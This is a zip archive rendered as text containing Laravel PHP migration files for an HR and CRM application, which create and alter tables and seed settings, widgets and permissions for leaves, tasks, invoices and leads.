$table->integer('project_note_id')->unsigned()->nullable(); $table->foreign('project_note_id')->references('id')->on('project_notes') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('discussion_id')->unsigned()->nullable(); $table->foreign('discussion_id')->references('id')->on('discussions') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('discussion_reply_id')->unsigned()->nullable(); $table->foreign('discussion_reply_id')->references('id')->on('discussion_replies') ->onDelete('cascade') ->onUpdate('cascade'); $table->timestamps(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $settings = [ [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Project Mention Notification', 'slug' => 'project-mention-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Task Mention Notification', 'slug' => 'task-mention-notification', ], ]; EmailNotificationSetting::insert($settings); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('mention_users'); } }; PK ���Zvx�~� � M migrations/2022_09_19_124014_add_delete_approve_leave_in_permission_table.phpnu �[��� <?php use App\Models\Company; use App\Models\Module; use App\Models\Permission; use App\Models\PermissionRole; use App\Models\Role; use App\Models\User; use App\Models\UserPermission; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { $module = Module::where('module_name', 'leaves')->first(); if (!is_null($module)) { $permissionName = 'delete_approve_leaves'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. * * @return void */ public function down() { Permission::where('name', 'delete_approve_leaves')->delete(); } }; PK ���Z�fծ� � @ migrations/2024_08_01_121908_update_null_leavetype_to_yearly.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up() { DB::table('leave_types')->whereNull('leavetype')->update(['leavetype' => 'yearly']); } /** * Reverse the migrations. * * @return void */ public function down() { } }; PK ���Z�F^� � ( migrations/2023_05_02_100907_fix_bug.phpnu �[��� <?php use App\Enums\MaritalStatus; use App\Models\EmployeeDetails; use App\Models\User; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('user_taskboard_settings', function (Blueprint $table) { $foreignKeys = $this->listTableForeignKeys('user_taskboard_settings'); if (in_array('user_taskboard_settings_board_column_id_foreign', $foreignKeys)) { $table->dropForeign(['board_column_id']); } $table->foreign('board_column_id')->references('id')->on('taskboard_columns')->onDelete('cascade')->onUpdate('cascade'); }); DB::statement("ALTER TABLE `users` CHANGE `gender` `gender` ENUM('male','female','others') NULL DEFAULT 'male';"); User::whereNull('gender')->update(['gender' => 'male']); Schema::table('employee_details', function (Blueprint $table) { $table->string('marital_status')->nullable()->default(MaritalStatus::Single->value)->change(); }); EmployeeDetails::whereNull('marital_status')->update(['marital_status' => MaritalStatus::Single]); } /** * Reverse the migrations. */ public function down(): void { // } public function listTableForeignKeys($table) { $conn = Schema::getConnection()->getDoctrineSchemaManager(); return array_map(function ($key) { return $key->getName(); }, $conn->listTableForeignKeys($table)); } }; PK ���Z� ��: : = migrations/2024_02_14_094339_employee_leave_quota_changes.phpnu �[��� <?php use App\Models\LeaveType; use App\Models\User; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::whenTableDoesntHaveColumn('employee_leave_quotas', 'leaves_used', function (Blueprint $table) { $table->after('no_of_leaves', function ($table) { $table->double('leaves_used')->default(0); $table->double('leaves_remaining')->default(0); }); }); LeaveType::whereNull('unused_leave')->update(['unused_leave' => 'carry forward']); $employees = User::withoutGlobalScopes()->onlyEmployee()->get(); foreach ($employees as $employee) { $leaveQuotas = $employee->leaveTypes; foreach ($leaveQuotas as $leaveQuota) { $leave = $this->byUser($employee, $leaveQuota->leave_type_id); $leaveTaken = $leave ? ($leave->leavesCount ? $leave->leavesCount->count - ($leave->leavesCount->halfday * 0.5) : 0) : 0; $leaveQuota->leaves_remaining = $leaveQuota->no_of_leaves - $leaveTaken; $leaveQuota->leaves_used = $leaveTaken; $leaveQuota->save(); } } } public function byUser(User $user, $leaveTypeId = null, $status = array('approved'), $leaveDate = null) { $setting = $user->company; if (!is_null($leaveDate)) { $leaveDate = Carbon::createFromFormat($setting->date_format, $leaveDate); } else { $leaveDate = Carbon::createFromFormat('d-m-Y', '01-'.$setting->year_starts_from.'-'.now($setting->timezone)->year)->startOfMonth(); } if ($user->employee->first()) { if ($setting->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employee->first()->joining_date->format((now($setting->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $currentYearJoiningDate, $status) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$currentYearJoiningDate->copy()->toDateString(), $currentYearJoiningDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); return $leaveTypes->where('leave_types.id', $leaveTypeId)->first(); } else { $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $status, $leaveDate) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$leaveDate->copy()->toDateString(), $leaveDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); } return $leaveTypes->where('leave_types.id', $leaveTypeId)->first(); } return null; } }; PK ���Z�͟�x x B migrations/2025_01_24_095318_add_column_in_lead_category_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('lead_category', function (Blueprint $table) { $table->boolean('is_default')->default(0)->notNullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('lead_category', function (Blueprint $table) { $table->dropColumn('is_default'); }); } }; PK ���Z��Q� � F migrations/2023_02_15_121548_add_data_in_ticket_custom_forms_table.phpnu �[��� <?php use App\Models\Company; use App\Models\TicketCustomForm; use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('tickets', function (Blueprint $table) { $table->unsignedInteger('group_id')->after('type_id')->nullable(); $table->foreign(['group_id'])->references(['id'])->on('ticket_groups')->onUpdate('CASCADE')->onDelete('CASCADE'); }); $companies = Company::get(); foreach ($companies as $company) { $ticketCustomForm = TicketCustomForm::where('company_id', $company->id)->latest('id')->first(); if ($ticketCustomForm) { TicketCustomForm::create([ 'field_display_name' => 'Assign Group', 'field_name' => 'assign_group', 'field_order' => $ticketCustomForm->field_order + 1, 'field_type' => 'select', 'company_id' => $company->id, ]); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('ticket_custom_forms', function (Blueprint $table) { // }); } }; PK ���Z�� [� � F migrations/2025_01_24_100609_alter_lead_category_is_default_column.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; use App\Models\Company; use App\Models\LeadCategory; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $companies = Company::all(); foreach($companies as $company){ LeadCategory::where('company_id', $company->id) ->where('category_name', 'Best Case') ->update([ 'is_default' => 1, ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PK ���Z��R�� � A migrations/2022_08_29_064339_add_added_by_to_project_template.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('project_templates', function (Blueprint $table) { $table->integer('added_by')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('project_templates', function (Blueprint $table) { $table->dropColumn('added_by'); }); } }; PK ���Zq� : migrations/2024_09_13_114425_create_notice_files_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('notice_board_users', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('notice_id')->index('notice_views_notice_id_foreign'); $table->foreign(['notice_id'])->references(['id'])->on('notices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('type', ['employee', 'client'])->default('employee'); $table->unsignedInteger('user_id')->index('notice_views_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::create('notice_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('notice_id')->index('notice_files_notice_id_foreign'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('notice_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('notice_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['notice_id'])->references(['id'])->on('notices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('notice_files'); Schema::dropIfExists('notice_board_users'); } }; PK ���Z@m.�� � P migrations/2024_10_24_064017_add_followups_widget_in_dashboard_widgets_table.phpnu �[��� <?php use App\Models\Company; use App\Models\DashboardWidget; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $companies = Company::all(); foreach ($companies as $company) { $widget = [ 'widget_name' => 'follow_ups', 'status' => 1, 'dashboard_type' => 'private-dashboard', 'company_id' => $company->id ]; DashboardWidget::create($widget); } $employees = \App\Models\EmployeeDetails::all(); foreach ($employees as $employee) { $employee->calendar_view = 'task,events,holiday,tickets,leaves,follow_ups'; $employee->save(); } } /** * Reverse the migrations. */ public function down(): void { DashboardWidget::where('widget_name', 'follow_ups')->delete(); } }; PK ���Z���N 9 migrations/2023_03_29_072032_create_order_carts_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create( 'order_carts', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('product_id')->index('order_carts_product_id_foreign'); $table->foreign(['product_id'])->references(['id'])->on('products')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('client_id')->nullable()->index('order_carts_client_id_foreign'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->text('description')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->double('unit_price', 16, 2); $table->double('amount', 16, 2); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('order_carts'); } }; PK ���Zud(� � : migrations/2024_05_16_135801_create_lead_setting_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { if (!Schema::hasTable('lead_setting')) { Schema::create('lead_setting', function (Blueprint $table) { $table->id(); $table->boolean('status')->default(false); $table->unsignedInteger('user_id')->index('lead_setting_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } if (Schema::hasColumn('user_permissions', 'id')) { // Schema::table('user_permissions', function (Blueprint $table) { // $table->dropColumn('id'); // $table->dropColumn('created_at'); // $table->dropColumn('updated_at'); // }); // session()->forget('sidebar_user_perms'); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('lead_setting'); } }; PK ���ZͰ��� � Q migrations/2025_04_22_045326_add_company_id_to_employee_shift_schedules_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->integer('company_id')->unsigned()->nullable()->after('user_id'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); // Use Eloquent to update existing records \App\Models\EmployeeShiftSchedule::with('user')->chunk(100, function ($schedules) { foreach ($schedules as $schedule) { if ($schedule->user && $schedule->user->company_id) { $schedule->company_id = $schedule->user->company_id; $schedule->save(); } } }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->dropForeign(['company_id']); $table->dropColumn('company_id'); }); } }; PK ���Z�+3Q Q H migrations/2023_12_19_091940_change_column_type_in_order_items_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('orders', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('order_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('quantity', 30, 2)->change(); }); Schema::table('credit_notes', function (Blueprint $table) { $table->double('adjustment_amount', 30, 2)->nullable()->change(); $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('credit_note_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('invoices', function (Blueprint $table) { $table->double('due_amount', 30, 2)->default(0)->change(); $table->double('discount', 30, 2)->default(0)->change(); $table->double('total', 30, 2)->change(); $table->double('sub_total', 30, 2)->change(); }); Schema::table('invoice_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('quotations', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); }); Schema::table('quotation_items', function (Blueprint $table) { $table->double('amount', 30, 2)->change(); }); Schema::table('estimates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('estimate_templates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('estimate_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('estimate_template_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('expenses', function (Blueprint $table) { $table->double('price', 30, 2)->change(); }); Schema::table('project_milestones', function (Blueprint $table) { $table->double('cost', 30, 2)->change(); }); Schema::table('proposals', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('proposal_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('proposal_templates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('proposal_template_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); $table->double('quantity', 30, 2)->change(); }); Schema::table('bank_accounts', function (Blueprint $table) { $table->double('bank_balance', 30, 2)->nullable()->change(); $table->double('opening_balance', 30, 2)->nullable()->change(); }); Schema::table('bank_transactions', function (Blueprint $table) { $table->double('bank_balance', 30, 2)->nullable()->change(); $table->double('amount', 30, 2)->nullable()->change(); }); Schema::table('order_carts', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('expenses_recurring', function (Blueprint $table) { $table->double('price', 30, 2)->change(); }); Schema::table('invoice_recurring', function (Blueprint $table) { $table->double('sub_total', 30, 2)->default(0)->change(); $table->double('total', 30, 2)->default(0)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('invoice_recurring_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); if (Schema::hasColumn('leads', 'value')) { Schema::table('leads', function (Blueprint $table) { $table->double('value', 30, 2)->nullable()->default(0)->change(); }); } Schema::table('payments', function (Blueprint $table) { $table->double('amount', 30, 2)->change(); }); Schema::table('projects', function (Blueprint $table) { $table->double('project_budget', 30, 2)->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PK ���ZxA�0 0 D migrations/2024_07_26_080201_add_timestamps_to_leave_types_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Support\Facades\DB; return new class extends Migration { /** * Run the migrations. */ public function up(): void { // Update existing records to have the current timestamp DB::table('leave_types')->whereNull('created_at')->update(['created_at' => now()]); DB::table('leave_types')->whereNull('updated_at')->update(['updated_at' => now()]); } /** * Reverse the migrations. */ public function down(): void { } }; PK ���Z�� 5 migrations/2025_02_03_071444_alter_estimate_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('estimates', function (Blueprint $table) { $table->unsignedInteger('project_id')->nullable()->index('estimates_project_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('estimates', function (Blueprint $table) { $table->dropColumn('project_id'); }); } }; PK ���Z+��B B K migrations/2022_08_19_100314_add_leave_widget_in_dashboard_widget_table.phpnu �[��� <?php use App\Models\Company; use App\Models\DashboardWidget; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Company::renameOrganisationTableToCompanyTable(); $company = Company::first(); if ($company) { $widget = [ [ 'widget_name' => 'leave', 'status' => 1, 'dashboard_type' => 'private-dashboard' ] ]; DashboardWidget::insert($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { DashboardWidget::where('widget_name', 'leave')->delete(); } }; PK ���Zj�U C migrations/2022_10_09_155207_add_custom_year_to_companies_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { if (!Schema::hasColumn('companies', 'year_starts_from')) { Schema::table('companies', function (Blueprint $table) { $table->string('year_starts_from')->after('date_picker_format')->default(1); }); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('companies', function (Blueprint $table) { $table->dropColumn('year_starts_from'); }); } }; PK ���Z}M�i� � P migrations/2023_12_04_113645_add_other_information_to_invoice_settings_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::whenTableDoesntHaveColumn('invoice_settings', 'other_info', function (Blueprint $table) { $table->text('other_info')->after('invoice_terms')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn('other_info'); }); } }; PK ���Z\ݍ � ? migrations/2024_04_18_105848_create_employee_activity_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('employee_activity', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('emp_id'); $table->string('employee_activity'); $table->unsignedBigInteger('leave_id')->nullable(); $table->unsignedBigInteger('task_id')->nullable(); $table->unsignedBigInteger('proj_id')->nullable(); $table->unsignedBigInteger('invoice_id')->nullable(); $table->unsignedBigInteger('ticket_id')->nullable(); $table->unsignedBigInteger('proposal_id')->nullable(); $table->unsignedBigInteger('estimate_id')->nullable(); $table->unsignedBigInteger('deal_id')->nullable(); $table->unsignedBigInteger('deal_followup_id')->nullable(); $table->unsignedBigInteger('client_id')->nullable(); $table->unsignedBigInteger('expenses_id')->nullable(); $table->unsignedBigInteger('timelog_id')->nullable(); $table->unsignedBigInteger('event_id')->nullable(); $table->unsignedBigInteger('product_id')->nullable(); $table->unsignedBigInteger('credit_note_id')->nullable(); $table->unsignedBigInteger('payment_id')->nullable(); $table->unsignedBigInteger('order_id')->nullable(); $table->unsignedBigInteger('contract_id')->nullable(); $table->timestamps(); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_activity'); } }; PK ���Z�KYMN N F migrations/2022_08_13_070443_add_task_unique_id_column_tasks_table.phpnu �[��� <?php use App\Models\Project; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { if (!Schema::hasColumn('tasks', 'task_short_code')) { Schema::table('tasks', function (Blueprint $table) { $table->string('task_short_code')->after('id')->nullable(); }); } $projects = Project::whereHas('tasks')->get(); foreach ($projects as $value) { // phpcs:ignore DB::statement("UPDATE tasks SET task_short_code = CONCAT( '$value->project_short_code', '-', id ) WHERE project_id = '" . $value->id . "'; "); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('tasks', function (Blueprint $table) { $table->dropColumn('task_short_code'); }); } }; PK ���Z����Q Q ? migrations/2023_04_11_101429_task_hash_insert_in_task_table.phpnu �[��� <?php use App\Models\AwardIcon; use App\Models\Task; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { $tasks = Task::whereNull('hash')->get(); foreach ($tasks as $task) { $task->hash = md5(microtime() . rand(1, 99999999)); $task->save(); } $column = 'icon'; // phpcs:ignore AwardIcon::where('icon', 'LIKE', '%-fill%')->update([$column => DB::raw("REPLACE($column,'-fill','')")]); \App\Models\Country::where('iso3', 'RUS')->update(['phonecode' => 7]); cache()->forget('countries'); } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PK ���Z��/�o o <